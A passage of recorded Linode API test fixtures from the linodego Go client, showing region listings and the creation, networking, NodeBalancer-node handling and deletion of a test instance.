"VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-6705lbw7w6ot","root_pass":"h\u003e1s@M3KZndEUHa;1{\\h3v^1*5(2\\J@E2eaWKeA4Bv6R{''D4.p\u00269W2vg+fpH0\u003e79","image":"linode/debian9","firewall_id":640280,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61169922, "label": "go-test-ins-6705lbw7w6ot", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.55.25"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3cea0f3e7e25a8eb97340be86615d802453acd3a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169922/ips method: POST response: body: '{"address": "192.168.128.109", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61169922, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.128.109:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767857/configs/1266886/nodes method: POST response: body: '{"id": 2051557830, "address": "192.168.128.109:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266886, "nodebalancer_id": 767857}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767857/configs/1266886/nodes?page=1 method: GET response: body: '{"data": [{"id": 2051557830, "address": "192.168.128.109:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266886, "nodebalancer_id": 767857}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767857/configs/1266886/nodes/2051557830 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169922 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListMultiplePages.yaml000066400000000000000000001237141474652371000352360ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block 